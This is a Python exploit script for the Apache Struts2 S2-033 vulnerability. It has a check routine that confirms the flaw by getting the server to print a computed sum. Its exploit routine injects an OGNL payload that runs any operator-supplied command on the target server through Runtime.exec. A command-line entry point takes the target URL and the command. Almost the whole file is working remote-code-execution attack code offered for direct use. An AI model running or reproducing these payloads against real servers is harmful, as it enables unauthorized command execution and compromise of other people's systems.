145 lines
No EOL
4.2 KiB
Python
Executable file
145 lines
No EOL
4.2 KiB
Python
Executable file
#!/usr/bin/python
|
|
# -*- coding: utf-8 -*-
|
|
|
|
import requests
|
|
import random
|
|
import base64
|
|
|
|
|
|
upperAlpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
|
lowerAlpha = "abcdefghijklmnopqrstuvwxyz"
|
|
numerals = "0123456789"
|
|
allchars = [chr(_) for _ in xrange(0x00, 0xFF + 0x01)]
|
|
|
|
|
|
def rand_base(length, bad, chars):
|
|
'''generate a random string with chars collection'''
|
|
cset = (set(chars) - set(list(bad)))
|
|
if len(cset) == 0:
|
|
return ""
|
|
chars = [list(cset)[random.randrange(len(cset))] for i in xrange(length)]
|
|
chars = map(str, chars)
|
|
return "".join(chars)
|
|
|
|
|
|
def rand_char(bad='', chars=allchars):
|
|
'''generate a random char with chars collection'''
|
|
return rand_base(1, bad, chars)
|
|
|
|
|
|
def rand_text(length, bad='', chars=allchars):
|
|
'''generate a random string (cab be with unprintable chars)'''
|
|
return rand_base(length, bad, chars)
|
|
|
|
|
|
def rand_text_alpha(length, bad=''):
|
|
'''generate a random string with alpha chars'''
|
|
chars = upperAlpha + lowerAlpha
|
|
return rand_base(length, bad, set(chars))
|
|
|
|
|
|
def rand_text_alpha_lower(length, bad=''):
|
|
'''generate a random lower string with alpha chars'''
|
|
return rand_base(length, bad, set(lowerAlpha))
|
|
|
|
|
|
def rand_text_alpha_upper(length, bad=''):
|
|
'''generate a random upper string with alpha chars'''
|
|
return rand_base(length, bad, set(upperAlpha))
|
|
|
|
|
|
def rand_text_alphanumeric():
|
|
'''generate a random string with alpha and numerals chars'''
|
|
chars = upperAlpha + lowerAlpha + numerals
|
|
return rand_base(length, bad, set(chars))
|
|
|
|
|
|
def rand_text_numeric(length, bad=''):
|
|
'''generate a random string with numerals chars'''
|
|
return rand_base(length, bad, set(numerals))
|
|
|
|
|
|
def generate_rce_payload(code):
|
|
'''generate apache struts2 s2-033 payload.
|
|
'''
|
|
payload = ""
|
|
payload += requests.utils.quote("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
|
|
payload += ","
|
|
payload += requests.utils.quote(code)
|
|
payload += ","
|
|
payload += requests.utils.quote("#xx.toString.json")
|
|
payload += "?"
|
|
payload += requests.utils.quote("#xx:#request.toString")
|
|
return payload
|
|
|
|
|
|
def check(url):
|
|
'''check if url is vulnerable to apache struts2 S2-033.
|
|
'''
|
|
var_a = rand_text_alpha(4)
|
|
var_b = rand_text_alpha(4)
|
|
flag = rand_text_alpha(5)
|
|
|
|
addend_one = int(rand_text_numeric(2))
|
|
addend_two = int(rand_text_numeric(2))
|
|
addend_sum = addend_one + addend_two
|
|
|
|
code = "#{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
|
code += "#{var_a}.print(#parameters.{var_b}[0]),"
|
|
code += "#{var_a}.print(new java.lang.Integer({addend_one}+{addend_two})),"
|
|
code += "#{var_a}.print(#parameters.{var_b}[0]),"
|
|
code += "#{var_a}.close()"
|
|
|
|
payload = generate_rce_payload(code.format(
|
|
var_a=var_a, var_b=var_b, addend_one=addend_one, addend_two=addend_two
|
|
))
|
|
|
|
url = url + "/" + payload
|
|
resp = requests.post(url, data={ var_b: flag }, timeout=8)
|
|
|
|
vul_flag = "{flag}{addend_sum}{flag}".format(flag=flag, addend_sum=addend_sum)
|
|
if resp and resp.status_code == 200 and vul_flag in resp.text:
|
|
return True, resp.text
|
|
|
|
return False, ''
|
|
|
|
|
|
def exploit(url, cmd):
|
|
'''exploit url with apache struts2 S2-033.
|
|
'''
|
|
var_a = rand_text_alpha(4)
|
|
var_b = rand_text_alpha(4) # cmd
|
|
|
|
code = "#{var_a}=new sun.misc.BASE64Decoder(),"
|
|
# code += "@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))" # Error 500
|
|
|
|
code += "#wr=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
|
|
code += "#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(new java.lang.String(#{var_a}.decodeBuffer(#parameters.{var_b}[0])))),"
|
|
code += "#wr.println(#rs),#wr.flush(),#wr.close()"
|
|
|
|
payload = generate_rce_payload(code.format(
|
|
var_a=var_a, var_b=var_b
|
|
))
|
|
|
|
url = url + "/" + payload
|
|
requests.post(url, data={ var_b: base64.b64encode(cmd) }, timeout=8)
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
import sys
|
|
|
|
if len(sys.argv) != 3:
|
|
print("[*] python {} <url> <cmd>".format(sys.argv[0]))
|
|
sys.exit(1)
|
|
|
|
url = sys.argv[1]
|
|
cmd = sys.argv[2]
|
|
|
|
print(check(url))
|
|
exploit(url, cmd)
|
|
|
|
|
|
## References
|
|
|
|
# 1. https://github.com/rapid7/metasploit-framework/pull/6945 |